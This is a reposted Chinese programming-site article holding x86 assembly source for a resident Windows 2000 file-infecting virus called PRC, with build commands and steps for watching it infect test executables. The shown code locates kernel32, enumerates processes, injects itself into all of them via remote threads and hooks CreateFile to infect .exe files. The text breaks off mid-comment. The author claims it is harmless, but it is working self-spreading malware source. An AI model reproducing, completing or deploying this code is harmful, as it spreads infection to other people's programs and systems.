Win2k病毒Demo

类别:编程语言 点击:0 评论:0 推荐:

;*********************************************************************
;*                                                                   *
;*                   The program information                         *
;*                                                                   *
;* Program Name: PRC                                                *
;* Current Version: 0.91(not under strict test)                     *
;* Completed on 11-25, 2002                                         *
;*                                                                   *
;* This program is something like a virus. But it does not contain  *
;* any damage code. So it won't do harm to your system. It just     *
;* demonstrates a way of developing a resident virus                *
;* under Windows.                                                   *
;*                                                                   *
;*  You can connect me [[email protected]] for technic discussions      *
;*                                                                   *
;*===================================================================*
;*                                                                   *
;* How to complile this program?                                    *
;*  tasm32 /m /ml pv.asm, pv.obj                                 *
;*  tlink32 -c -M -x -Tpe -ap -S:0x10000 -Sc:0x6000 pv.obj,      *
;*   pv.exe, , kernel32.lib user32.lib                        *
;* The two libraries of kernel32.lib and user32.lib can be          *
;* attained in the BC++5.5 compiler.                                *
;*                                                                   *
;*===================================================================*
;* History                                                          *
;*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*
;*                                                                   *
;* Version: 0.9                                                     *
;* Completed on 11-25, 2002                                         *
;*                                                                   *
;* 1) It can inject itself into the space of all the active        *
;*  processes in the system if access is permitted.              *
;* 2) It can hook the File Storage API functions of CreateFileA    *
;*  and CreateFileW. If the hook is successfully installed,      *
;*  all file operations that the process makes will be           *
;*  monitored by our code.                                       *
;* 3) It has the ability to infect the PE files with the           *
;*  extension ".exe". After the PE file has been infected,       *
;*  neither its size will increase, nor it will be infected      *
;*  a more time.                                                 *
;*                                                                   *
;*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*
;*                                                                   *
;* Version: 0.91                                                    *
;* under modification                                               *
;*                                                                   *
;* 1) Use CreateFileMapping and MapViewOfFile instead of ReadFile, *
;*  WriteFile and SetFilePointer to access the target file. The  *
;*  program size become much shorter.                            *
;* 2) Correct the bugs that the file is not closed if the file     *
;*  fails to be infected.                                        *
;*                                                                   *
;*********************************************************************

.386P
.model Flat, Stdcall

; If you want to play with the program, follow me.
; 1) Do change the value of 'DEBUG' unless you know exactly what the option will
;  affect the behavior of the program.
; 2) Compile and run the program.
; 3) Prepare some EXE files and rename them to "*test.exe" style. Wait a few
;  seconds, then search all EXE files containing the string "prcv0.9". If
;  any file has been found, it means the program works! If no file are
;  found, try more other files, because there are some EXE files the program
;  can't infect.
; 4) I develop the program under Windows 2000. I don't know what will happen
;  if it runs under Windows 98 or Windows XP.

;*********************************************************************
 FALSE   = 0
 TRUE   = 1
 DEBUG       = TRUE
 NO_EXCEPTION_HANDLER   = TRUE
 TRACE_REMOTE_THREAD    = 0
 SKIP_CURRENT_PROCESS   = 1
 INFECT_ALL_PROCESSES   = 1
 NOT_INFECT_FILES    = 0
 ERROR_DIAGNOSE     = 0
;*********************************************************************


TH32CS_SNAPMODULE = 00000008h

FILE_BEGIN  = 0
FILE_CURRENT = 1
FILE_END  = 2

OPEN_EXISTING   = 00000003h
if NOT_INFECT_FILES
OPEN_ALWAYS    = 00000004h
endif

FILE_ATTRIBUTE_NORMAL   = 00000080h

FILE_SHARE_READ  = 00000001h
FILE_SHARE_WRITE = 00000002h

GENERIC_READ  = 80000000h
GENERIC_WRITE  = 40000000h

FILE_MAP_WRITE  = 00000002h

MB_PRECOMPOSED  = 00000001h
MB_COMPOSITE  = 00000002h

CP_ACP   = 0
CP_OEMCP  = 1
CP_MACCP  = 2
CP_THREAD_ACP = 3

PAGE_READWRITE = 00000004h

FLAG_IN_DATA_SECTION = 00000001h
FLAG_USE_TWO_SECTIONS = 00000002h

MajorVersion   = 0
MinorVersion   = 9

MAX_PATH = 260


; sizeof(IMAGE_NT_HEADERS)
; Section Header offset   0xF8

; FieldName    Offset
;---------------------------------------------------------------------
; AddressOfEntryPoint  0x28
; SizeOfHeaders   0x54
; SizeOfStackCommit  0x64
; DataDirectory   0x78


;*********************************************************************
;*                                                                   *
;*                         Declare funtion prototype                 *
;*                                                                   *
;*********************************************************************
GetLastError  PROTO
MessageBoxA   PROTO :DWORD, :DWORD, :DWORD, :DWORD
GetModuleHandleA PROTO :DWORD
GetProcAddress  PROTO :DWORD, :DWORD
CreateFileA   PROTO :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD
CreateFileW   PROTO :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD
CloseHandle   PROTO :DWORD
FindFirstFileA  PROTO :DWORD, :DWORD
FindNextFileA  PROTO :DWORD, :DWORD

printf    PROTO :DWORD


;*********************************************************************
;*                                                                   *
;*                        Entry code section                         *
;*                                                                   *
;*********************************************************************
_TEXT segment use32 public 'CODE'

VirtualEntry:

  call GetLastError

  call GetCurrentEipToEbx
$A:
  ;mov esi, 00400000h
  ;mov eax, [esi+0000003Ch]
  ;lea edi, [esi+eax]
  ;mov edx, [edi+00000080h]
  ;mov eax, [edx+esi]
  ;add eax, esi
  ;mov ecx, [eax+00000010h]

  mov edx, offset GetLastError
  add edx, 2
  mov ecx, [edx]
  sub ecx, 00400000h

  mov eax, offset RvaOfFirstThunkOfKernel32
  sub eax, offset $A
  mov [ebx+eax], ecx

  mov eax, offset OriginalEntryPoint
  sub eax, offset $A
  mov ecx, offset lb_ExitCurrentProcess
  sub ecx, 00400000h
  ;add ebx, eax
  ;push ebp
  ;mov ebp, esp
  ;push 00400000h

  mov [ebx+eax], ecx
  jmp EntryOfVirusCode

lb_ExitCurrentProcess:

  ret

_TEXT ends

;*********************************************************************
;*                                                                   *
;*                        Data section                               *
;*                                                                   *
;*********************************************************************
_DATA segment use32 public 'DATA'

;---- Error Messages
szExceptionCaused  db "Exception error captured!",0
szError      db "Error",0
FileNameToFind  db 'g:\testfile\'
FileNameFound = $
     db '*.exe', 0
     db 260 dup (?)
TestFileW   dw 'G', ':', '\', 'P', 'R', 'O', '\', 'T', 'a', 's', 'm', '\'
     dw 'T', 'e', 's', 't', '.', 'e', 'x', 'e', 0
TestFileA   db 'G:\PRO\TASM\test.exe', 0

W32FindData   db 140h dup(?)

_DATA ends


;*********************************************************************
;*                                                                   *
;*                       Main code section                           *
;*                                                                   *
;*********************************************************************
VirSegment segment use32 public 'PRC'

MAX_WND_SIZE   = 1024
OFFSET_CODING_LENGTH = 10
M      = 3

BaseOfVirusCode = $

;*********************************************************************
;*                                                                   *
;* RestoreCompressedData()                                          *
;*                                                                   *
;* Remarks:                                                         *
;*  Restore the compressed data                                  *
;*                                                                   *
;* Parameters:                                                      *
;*  [Esi]                                                        *
;*  Point to the buffer containing decompression information     *
;*                                                                   *
;* Return Value:                                                    *
;*  None.                                                        *
;*                                                                   *
;*********************************************************************

RestoreCompressedData:

  cld
  mov edi, [ebp][lpImageBaseBaseOfProcess]
  lea edx, [ebx][SizeOfTransmission-@B]
  push edx
  lea ecx, [ebx+VIRUS_VIRTUAL_SIZE][BaseOfVirusCode-@B]
  push ecx
  lodsd
  push eax
  mov edx, edi  ;<
  lodsd    ;<
  add edx, eax  ;< pDataBuffer
  push edx   ;<
       ;<
  call LZ77Decompress

  add edi, [esi]
  mov esi, ecx

  mov ecx, 'HOLD'
SizeOfTransmission = $-4

  push ecx
  push esi
  push PAGE_READWRITE
  mov esi, edi
  call InvokeVirtualProtectEx
  pop esi
  pop ecx

  push ecx
  push edi

  cld
  rep movsb

  pop esi
  pop ecx

  push dword ptr [ebx][dwOldProtect-@B]
  call InvokeVirtualProtectEx

lb_ExitRestoreCompressedData:

  ret


RvaOfEntryPoint = $
  dd (offset EntryOfVirusCode - 00400000h)

RvaOfFirstThunkOfKernel32 = $
  dd 0

DecompressionParametersA = $
 dd 0 ;Total bits afetr compression.
 dd 0 ;Rva of the data buffer where the compressed data are stored in.
 dd 0 ;Rva of the data buffer where the compressed data are restored to.

DecompressionParametersB = $
 dd 0
 dd 0
 dd 0

EntryOfVirusCode:

 XX=-4
lpImageBaseBaseOfProcess  = XX

if NO_EXCEPTION_HANDLER
 XX=XX-4
else
 XX=XX-12
endif

lpImageBaseOfKernel32   = XX
 XX=XX-4
hSnapShot      = XX
 XX=XX-4
hProcessHandle     = XX
 XX=XX-4
lpBaseOfCodeInRemoteProcess  = XX

  pushad
  sub esp, VIRUS_BOOTING_SIZE
  mov edi, esp

  call @A
@A = $
  pop ebx

  lea eax, [ebx][EntryOfVirusCode-@A]
  mov ecx, [ebx][RvaOfEntryPoint-@A]
  sub eax, ecx

  lea esi, [ebx][BaseOfVirusCode-@A]
  mov ecx, VIRUS_PHYSICAL_SIZE
  cld
  rep movsb
  lea ebx, [esp][@B-BaseOfVirusCode]
  jmp ebx

@B = $

  push ebp
  mov ebp, esp

  push eax ; Initialize lpImageBaseBaseOfProcess
  add [ebx][OriginalEntryPoint-@B], eax

; Set up our exception handler. So when any exception occurs,
; our exception handler will get control first, and we can quit
; the virus code safely.
;=====================================================================
ife NO_EXCEPTION_HANDLER
  lea eax, [esp-8]
  xor esi, esi
  xchg eax, fs:[esi]
  lea ecx, [ebx][ExceptionHandler-@B]
  push ecx
  push eax
endif
;=====================================================================

; Let's locate the image base of the module 'Kernel32.dll'.

lb_LoopOfLocateKernel32:

  pop eax
  push eax

  mov ecx, [ebx][RvaOfFirstThunkOfKernel32-@B]
  mov eax, [eax+ecx]
  add [ebx][RvaOfFirstThunkOfKernel32-@B], dword ptr 4

lb_LoopOfCheck64KBoundaries:

  and eax, 0FFFF0000h
  cmp word ptr [eax], 'ZM'
  jnz lb_TryNextBoundary

  mov ecx, [eax+0000003Ch]
  add ecx, eax
  cmp dword ptr [ecx], 00004550h
  jnz lb_TryNextBoundary
  mov edx, [ecx+00000078h]
  add edx, eax
  mov esi, [edx+0000000Ch]
  add esi, eax
  lea edi, [ebx][NameOfKernel32-@B]
  call strcmpi
  jz lb_ImageBaseOfKernel32IsFound
  jmp lb_LoopOfLocateKernel32

lb_TryNextBoundary:

  sub eax, 00010000h
  jmp lb_LoopOfCheck64KBoundaries

lb_ImageBaseOfKernel32IsFound:

  push eax ; Intialize lpImageBaseOfKernel32

  mov esi, edx
  lea edi, [ebx][IfNameTable-@B]

; Let get the entry points of the Windows API functions which
; the virus code must use from the module 'kernel32.dll'.
lb_LoopOfGetEntryAddressOfApiFunctions:

  mov ecx, [edi]
  jecxz lb_AllAddressesGotten

  push eax
  push edi
  lea edi, [ebx+ecx]
  call GetProcedureAddress
  test eax, eax
  jz lb_ExitVirusProgram
  pop edi
  mov [edi][CallAddressTable-IfNameTable], eax
  pop eax
  add edi, 4
  jmp lb_LoopOfGetEntryAddressOfApiFunctions


lb_AllAddressesGotten:

  lea esi, [ebx][DecompressionParametersA-@B]
  call RestoreCompressedData

  jmp lb_NoSecondCompressedSection
JumpOffset = $-1
NextStatement = $

  lea esi, [ebx][DecompressionParametersB-@B]
  call RestoreCompressedData

lb_NoSecondCompressedSection:

;//}


@C = @B
; Now all the entry addresses of the Api functions have been relocated.
; That is very import.
;

; Let's go.
;{
  push 0
  push 2
  call dword ptr [ebx][lpfnCreateToolhelp32Snapshot-@C]
  test eax, eax
  jz lb_AllProcessesEnumerated

  push eax ; Initialize hSnapShot

  lea eax, [ebx][ProcessEntry32-@C]
  mov dword ptr [eax], 00000128h
  push eax
  push dword ptr [ebp][hSnapShot]
  call dword ptr [ebx][lpfnProcess32First-@C]
  test eax, eax
  jz lb_AllProcessesEnumerated

lb_LoopOfEnumerateAllProcesses:

ife INFECT_ALL_PROCESSES
 ife SKIP_CURRENT_PROCESS
  lea esi, [ebx][pe_szExeFile-@C]
  lea edi, [ebx][TargetProcessName-@C]
  call strcmpi
  jz lb_TryNextProcess

  call [ebx][lpfnGetCurrentProcessId-@C]
  cmp eax, [ebx][pe_th32ProcessID-@C]
  jnz lb_TryNextProcess
 else
  lea esi, [ebx][pe_szExeFile-@C]
  lea edi, [ebx][TargetProcessName-@C]
  call strcmpi
  jnz lb_TryNextProcess
 endif
endif

lb_TargetProcessFound:

  mov eax, [ebx][pe_th32ProcessID-@C]
  push eax
  push 0
  push 001F0FFFh ; PROCESS_ALL_ACCESS
  call [ebx][lpfnOpenProcess-@C]
  test eax, eax
  jz lb_TryNextProcess

  push eax ; Initailize hProcessHandle

  push 00000004h ; PAGE_READWRITE
  push 00001000h ; MEM_COMMIT
  push VIRUS_ALIGN_SIZE
  push 0
  push eax
  call [ebx][lpfnVirtualAllocEx-@C]
   ;push eax   ;<
   ;call GetLastError ;< Debug Code
   ;pop eax   ;<
  test eax, eax
  jz lb_ExitVirusProgram

  xchg eax, esi
  push esi ; lpBaseOfCodeInRemoteProcess
  lea edi, [ebx][ReturnValueFromRemoteProcess-@C]

  xor edx, edx
  mov [edi], edx ; Initialize return value
  push edx
  push VIRUS_ALIGN_SIZE
  lea ecx, [ebx][BaseOfVirusCode-@C]
  push ecx
  push esi
  push dword ptr [ebp][hProcessHandle]
  call [ebx][lpfnWriteProcessMemory-@C]
  test eax, eax
  jz lb_ExitVirusProgram

ife SKIP_CURRENT_PROCESS
  push ebx
endif

  xor ecx, ecx
  push ecx
  push ecx
  push ecx
  lea edx, [esi][RemoteThread-BaseOfVirusCode]
  push edx
  push ecx
  push ecx
  push dword ptr [ebp][hProcessHandle]
  call [ebx][lpfnCreateRemoteThread-@C]
  ;test eax, eax
  ;jz lb_ExitVirusProgram
ife SKIP_CURRENT_PROCESS
  pop ebx
endif

  push dword ptr [ebp][hProcessHandle]
  call [ebx][lpfnCloseHandle-@C]

lb_TryNextProcess:

  lea eax, [ebx][ProcessEntry32-@C]
  push eax
  push dword ptr [ebp][hSnapShot]
  call dword ptr [ebx][lpfnProcess32Next-@C]
  test eax, eax
  jz lb_ExitVirusProgram

  jmp lb_LoopOfEnumerateAllProcesses

lb_AllProcessesEnumerated:

  push dword ptr [ebp][hSnapShot]
  call [ebx][lpfnCloseHandle-@C]

lb_ExitVirusProgram:

  ;jmp lb_DirectlyExitVirusProgram

lb_DirectlyExitVirusProgram:

ife NO_EXCEPTION_HANDLER
  pop dword ptr fs:[0]
  pop ecx
endif
  mov esp, ebp
  pop ebp

  add esp, VIRUS_BOOTING_SIZE
  popad

  push offset lb_ExitCurrentProcess
OriginalEntryPoint = $-4
  ret


;*********************************************************************
;*                                                                   *
;* Get the current EIP into EAX. You can use this way to locate     *
;* the virus code.                                                  *
;*                                                                   *
;*********************************************************************
GetCurrentEipToEax:

  pop eax
  jmp eax

;*********************************************************************
;*                                                                   *
;* Get the current EIP into EBX. You can use this way to locate     *
;* the virus code.                                                  *
;*                                                                   *
;*********************************************************************
GetCurrentEipToEbx:

  pop ebx
  jmp ebx


;*********************************************************************
;*                                                                   *
;* strcmpi()                                                        *
;*                                                                   *
;* Remarks:                                                         *
;*  This routine compare two strings, case-insensitive.          *
;*                                                                   *
;* Parameters:                                                      *
;*  [ESI]                                                        *
;*  Point to string1.                                            *
;*  [EDI]                                                        *
;*  Point to string2                                             *
;*                                                                   *
;* Return Value:                                                    *
;*  If these two strings are identical,                          *
;*  ZF flag will be set.                                         *
;*  If these two strings are not identical,                      *
;*  ZF flag will be cleared.                                     *
;*                                                              &

本文地址:http://com.8s8s.com/it/it22782.htm